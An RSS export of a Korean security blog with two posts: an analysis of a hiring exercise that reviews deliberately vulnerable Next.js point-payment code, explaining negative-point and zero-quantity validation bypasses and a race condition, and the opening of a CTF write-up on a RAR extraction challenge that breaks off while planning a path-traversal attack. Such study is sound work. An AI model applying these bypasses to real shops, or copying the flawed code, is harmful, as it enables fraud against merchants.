<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>lizparadox_</title>
    <link>https://paradox123.tistory.com/</link>
    <description>Security Researcher</description>
    <language>ko</language>
    <pubDate>Thu, 6 Aug 2026 07:30:07 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>lizparadox_</managingEditor>
    <item>
      <title>라포랩스 Application Security Engineer 채용과제 분석하기</title>
      <link>https://paradox123.tistory.com/5</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;아는 분이랑 이야기 나누던 중, 아는 분께서 한번 풀어보라고 추천을 주셔서 한번 풀어봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;답지에는 핵심 취약점과 추가 취약점이 있는데, 필자는 일단 30분 제한 시간에서 외부의 도움, 개입 없이 4개의 정답 중 2개를 풀었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 고치기보다 취약점을 어떻게 찾았는지를 중점적으로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출처 : &lt;a href=&quot;https://drive.google.com/drive/folders/1-02qvJzB5zMLt3DVCrYSSREkuYCW68Kj&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://drive.google.com/drive/folders/1-02qvJzB5zMLt3DVCrYSSREkuYCW68Kj&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1777180389963&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;ASE 1차 면접 문제 - Google Drive&quot; data-og-description=&quot;이 브라우저 버전은 더 이상 지원되지 않습니다. 지원되는 브라우저로 업그레이드하세요. 닫기&quot; data-og-host=&quot;drive.google.com&quot; data-og-source-url=&quot;https://drive.google.com/drive/folders/1-02qvJzB5zMLt3DVCrYSSREkuYCW68Kj&quot; data-og-url=&quot;https://drive.google.com/drive/folders/1-02qvJzB5zMLt3DVCrYSSREkuYCW68Kj&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://drive.google.com/drive/folders/1-02qvJzB5zMLt3DVCrYSSREkuYCW68Kj&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://drive.google.com/drive/folders/1-02qvJzB5zMLt3DVCrYSSREkuYCW68Kj&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;ASE 1차 면접 문제 - Google Drive&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;이 브라우저 버전은 더 이상 지원되지 않습니다. 지원되는 브라우저로 업그레이드하세요. 닫기&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;drive.google.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 상황&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 당신은 이커머스 플랫폼의 Application Security Engineer입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 개발자가 &quot;포인트 결제&quot; 기능의 코드 리뷰를 요청했습니다. 해당 코드를 분석하고 문제를 풀이해주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 전제 조건&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 기술 스택 : Next.js 15 + React Query + Typescript&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 기타 라이브러리에 대해서는 알려진 취약점이나 버그가 없다는 전제 조건으로 진행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 문제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Q1. 위 코드에서 보안 취약점을 최대한 식별하고, 각각의 공격 시나리오를 구체적으로 작성하시오.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Q2. 식별한 취약점 중 비즈니스에 가장 치명적인 것 1가지를 선택하고, 그 이유와 수정된 코드를 작성하시오&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Q3. 이 PR을 승인하기 전, 개발자에게 요청할 아키텍쳐/설계 관점의 보안 개선사항 3가지를 작성하시오.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드가 길어지니 그냥 서버사이드 코드만 첨부하여 설명한다.&lt;/p&gt;
&lt;pre id=&quot;code_1777180673011&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// app/checkout/actions.ts [서버 코드]
'use server';

import { cookies } from 'next/headers';
import { db } from '@/lib/database';
import { verifyToken } from '@/lib/auth';
import { revalidatePath } from 'next/cache';

interface PurchaseRequest {
  productId: string;
  quantity: number;
  usePoints: number;
}

export async function purchaseWithPoints(data: PurchaseRequest) {
  const token = cookies().get('auth_token')?.value;
  const payload = verifyToken(token as string);
  const userId = payload.sub;

  // 상품 정보 조회
  const product = await db.product.findUnique({
    where: { id: data.productId }
  });

  if (!product) {
    return { error: '상품을 찾을 수 없습니다' };
  }

  const totalPrice = product.price * data.quantity;

  // 사용자 포인트 조회
  const user = await db.user.findUnique({
    where: { id: userId },
    select: { points: true, role: true }
  });

  // 포인트 검증
  if (data.usePoints &amp;gt; user!.points) {
    return { error: '포인트가 부족합니다' };
  }

  if (data.usePoints &amp;gt; totalPrice) {
    return { error: '사용 포인트가 결제 금액을 초과합니다' };
  }

  // 결제 처리
  const remainingAmount = totalPrice - data.usePoints;

  await db.$transaction([
    // 포인트 차감
    db.user.update({
      where: { id: userId },
      data: { points: { decrement: data.usePoints } }
    }),
    // 주문 생성
    db.order.create({
      data: {
        userId,
        productId: data.productId,
        quantity: data.quantity,
        pointsUsed: data.usePoints,
        amountCharged: remainingAmount,
        status: remainingAmount === 0 ? 'PAID' : 'PENDING_PAYMENT'
      }
    })
  ]);

  revalidatePath('/mypage/points');
  return { success: true, remainingAmount };
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 핵심 취약점 중 하나로 내가 찾은 취약점을 먼저 소개해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정식 명칭..? 은 CWE 기준으로 Improper Validation of Specified Quantity in Input, CWE-1284가 아닐까 싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 interface PurchaseRequest를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1777182656372&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;interface PurchaseRequest {
  productId: string;
  quantity: number;
  usePoints: number;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 파라미터를 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면&lt;/p&gt;
&lt;pre id=&quot;code_1777181431612&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if (data.usePoints &amp;gt; user!.points) {
  return { error: '포인트가 부족합니다' };
}
if (data.usePoints &amp;gt; totalPrice) {
  return { error: '사용 포인트가 결제 금액을 초과합니다' };
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 분기문을 말로 풀어보면?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용할 포인트가 유저의 현재 포인트보다 많으면 포인트가 부족합니다. 라는 문구가 return된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 usePoints에 만약 -10000 을 넣는다면 서버 검증을 통과할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항상 유저의 포인트는 양수값일거기 때문에 따라서 usePoints에 음수가 들어오면 usePoints &amp;gt; user.points는&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-10000 &amp;gt; 1000 처럼 항상 false가 되어 1차 검증을 우회한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 두번째 분기문에서도 -10000 &amp;gt; totalPrice 도 false가 되어 2차 검증도 통과된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 decrement: -10000이 그대로 Prisma에 전달되어 $transaction에 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;약간 이런 느낌이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리가 고등학교에서 공부할때 도형의 길이가 음수가 되지 않는것처럼,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이커머스에서 사용하는 포인트도 음수가 될 일이 거의 없다시피 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런 느낌으로 풀어본다면.. 되지 않을까 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 두번째 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점도 CWE 기준으로 Improper Validation of Specified Quantity in Input, CWE-1284가 아닐까 싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 취약점이 일어나는 원인, 취약점의 영향도에 따라 CWE가 바뀌기에 그냥 취약점이 일어나는 원인으로 mapping해봤다.&lt;/p&gt;
&lt;pre id=&quot;code_1777182679305&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;interface PurchaseRequest {
  productId: string;
  quantity: number;
  usePoints: number;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 클라이언트에서 quantity라는 파라미터로 물건의 수량 갯수를 파라미터로 서버에 보내고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물건가격 * 갯수로 최종 가격이 결정되는데,&lt;/p&gt;
&lt;pre id=&quot;code_1777182863222&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const totalPrice = product.price * data.quantity;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음...... 감이 오지 않는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;data.quantity 파라미터에 수량 값에 대한 검증이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글개서 quantity 값에 0을 전달 시&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종 가격 = 0 이 되어버린다. 또한, usePoints 0을 넣고 모든 검증에 통과할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 결제금액 0원에 status가 PAID인 무료 주문 생성이 가능하다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세번째는 Race condition, TOCTOU 취약점이 있다. (대충 감은 잡았는데 만족스러운 답을 말하지 못한것 같다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 코드를 단계별로 분리하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검증과 사용 사이에 시간 간격이 존재하고, 그 사이에 다른 요청이 끼어들 수 있다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 처음에는 감이 안왔는데&lt;/p&gt;
&lt;pre id=&quot;code_1777183523341&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// transaction 외부에서 검증
const user = await db.user.findUnique({
  where: { id: userId },
  select: { points: true, role: true }
});

if (data.usePoints &amp;gt; user!.points) {  // &amp;larr; 검증 시점의 포인트
  return { error: '포인트가 부족합니다' };
}

// transaction 내부 사용
await db.$transaction([
  db.user.update({
    data: { points: { decrement: data.usePoints } }  // &amp;larr; 사용 시점
  }),
  ...
]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;findUnique로 포인트를 읽은 시점과 $transaction으로 포인트를 차감하는 시점 사이에 시간이 흐른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버는 동시에 여러 사용자의 요청을 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 전제 조건이 뭐였냐면 &quot;이커머스 플랫폼&quot; 이라는 거기 때문에 사용자 개입이 있을거라고 생각하면 조금 더 감을 잡을 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 사용자가 보유 포인트 1000점, usePoints: 1000인 요청을 거의 동시에 2번(A, B) 호출한다고 가정해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Request A, [findUnique 시작 -&amp;gt; points=1000 받음 -&amp;gt; 검증 통과 -&amp;gt; transaction 시작 -&amp;gt; 차감 완료, point=0]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Request B, [findUnique 시작 -&amp;gt; points=1000 받음 -&amp;gt; 검증 통과 -&amp;gt; transaction 시작 -&amp;gt; 차감 완료, point=0]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 플로우로 정리가 가능할텐데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Request A가 아직 차감을 안했는데, Request B가 새로 조회하고 이 시점에는 DB는 여전히 1000을 저장하고 있을것디고 (A는 포인트에 대한 검증만 수행했고, transaction을 통해서 쓰지 않았다.) 그리고 A가 이미 차감했지만 B는 여전히 자기가 읽은 100을 기준으로 차감한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Request A가 findUnique로 1000을 읽고, 하지만 읽기만 했지 아직 DB의 값을 바꾸지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 사이 요청 B도 findUnique로 100을 읽는다. DB는 아직 1000이니니까 당연히 1000이 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A와 B 모두 1000 &amp;gt;= 100이니 통과라고 판단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A가 transaction을 통해서 차감하면 DB는 0이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B는 자기가 본 1000을 기준으로 차감하면 DB는 -1000이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;B가 차감할때 지금 DB의 실제 값을 다시 확인하지 않는다. 그냥 decrement: 1000 이라는 명령을 내릴 뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB는 시키는 대로 0에서 -1000을 빼서 DB값은 -1000이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB를 조회한 시점과 실제로 차감하는 사이에, 누군가 먼저 돈을 빼버릴 수 있다는 걸 고려하지 않은 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 느낌이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네번째 취약점으로는 답지 상으로는 purchaseWithPoints 에서 입력값에 대한 검증이 없다는 취약점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NextJS 에서의 Server Action은 Client 없이 직접 호출이 가능하고, 서버에 음수, 소수점 및 범위 검증이 없이 클라이언트 max 속석에 의존하는 구조적 결함이고, 앞서 설명한 첫번째, 두번째 취약점의 근본 원인이라고 설명하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상이다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출처 링크에 문제를 첨부했으니, 한번 다들 꼭 풀어보면 좋겠다.&lt;/p&gt;</description>
      <category>보안</category>
      <author>lizparadox_</author>
      <guid isPermaLink="true">https://paradox123.tistory.com/5</guid>
      <comments>https://paradox123.tistory.com/5#entry5comment</comments>
      <pubDate>Sun, 26 Apr 2026 15:27:40 +0900</pubDate>
    </item>
    <item>
      <title>Online RAR Extractor</title>
      <link>https://paradox123.tistory.com/4</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;2023년도에 KITRI-CSA Exchange Programme 대회에서 풀었던 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오랜만에 복기 겸 작성해봅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당시 찍었던 유튜브 영상도 있네요.&lt;br /&gt;&lt;a href=&quot;https://youtu.be/IKwvTItKhzE?si=V2VkBRbxrBN0y1sE&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://youtu.be/IKwvTItKhzE?si=V2VkBRbxrBN0y1s&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 Dreamhack에서 CTF를 참가했는데, 현재 따로 올라와있는 문제가 없다고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에 코드가 남아있어서, 로컬에서 docker를 구동하여 작성합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2696&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IznHj/dJMcagyo72S/cK7w09ko6FkjYhKqUqASM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IznHj/dJMcagyo72S/cK7w09ko6FkjYhKqUqASM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IznHj/dJMcagyo72S/cK7w09ko6FkjYhKqUqASM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIznHj%2FdJMcagyo72S%2FcK7w09ko6FkjYhKqUqASM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2696&quot; height=&quot;464&quot; data-origin-width=&quot;2696&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 들어가보면, Online RAR Extractor 이라고 적혀져 있는것으로 봐서&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RAR 압축 파일을 압축 해제해주는 웹 페이지라고 추측이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 보면, /deploy/src/bin/rar 경로에 rar.txt가 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-17 오후 4.40.34.png&quot; data-origin-width=&quot;3638&quot; data-origin-height=&quot;2186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pVw7n/dJMcaa53KtH/o8MvGZKYkOdG7CaGsRZG5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pVw7n/dJMcaa53KtH/o8MvGZKYkOdG7CaGsRZG5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pVw7n/dJMcaa53KtH/o8MvGZKYkOdG7CaGsRZG5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpVw7n%2FdJMcaa53KtH%2Fo8MvGZKYkOdG7CaGsRZG5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3638&quot; height=&quot;2186&quot; data-filename=&quot;스크린샷 2026-04-17 오후 4.40.34.png&quot; data-origin-width=&quot;3638&quot; data-origin-height=&quot;2186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유저 매뉴얼이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에서 사용되는 버전은 6.11 버전임을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile을 확인해보면&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776411870598&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FROM php:7.1-apache

RUN sed -i 's/deb.debian.org/archive.debian.org/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list

RUN apt-get update
RUN apt-get upgrade -y

COPY ./deploy/src /var/www/html/
RUN chmod -R 755 /var/www/html/ &amp;amp;&amp;amp; chmod 777 /var/www/html/upload/
COPY ./deploy/run-lamp.sh /usr/sbin/

RUN chmod +x /usr/sbin/run-lamp.sh

# FLAG
COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
    &amp;amp;&amp;amp; gcc /flag.c -o /flag \
    &amp;amp;&amp;amp; chmod 111 /flag &amp;amp;&amp;amp; rm /flag.c

EXPOSE 80

CMD [&quot;/usr/sbin/run-lamp.sh&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dockerfile에서 flag.c를 gcc로 컴파일해서 /flag를 생성하는것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; RCE와 같은 공격을 수행하여 /flag를 실행시켜야 한다는것을 파악할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 RAR 압축 해제 과정에서 Path Traversal과 같은 공격을 수행해야 한다는 플로우가 그려지는데, 해당하는 cve를 찾아볼 수 있습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 이미 사용될 RAR의 버전을 알고 있기 때문에 해당 검색어로 구글링을 진행합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RAR &quot;6.11&quot; Path Traversal CVE&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-17 오후 4.47.56.png&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;882&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDC8Zv/dJMcabqnjYw/IprEOEZlkQw3yBVfp8qnEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDC8Zv/dJMcabqnjYw/IprEOEZlkQw3yBVfp8qnEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDC8Zv/dJMcabqnjYw/IprEOEZlkQw3yBVfp8qnEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDC8Zv%2FdJMcabqnjYw%2FIprEOEZlkQw3yBVfp8qnEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2296&quot; height=&quot;882&quot; data-filename=&quot;스크린샷 2026-04-17 오후 4.47.56.png&quot; data-origin-width=&quot;2296&quot; data-origin-height=&quot;882&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제일 상단에 있는 CVE 코드에 대해 검색해 봅시다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
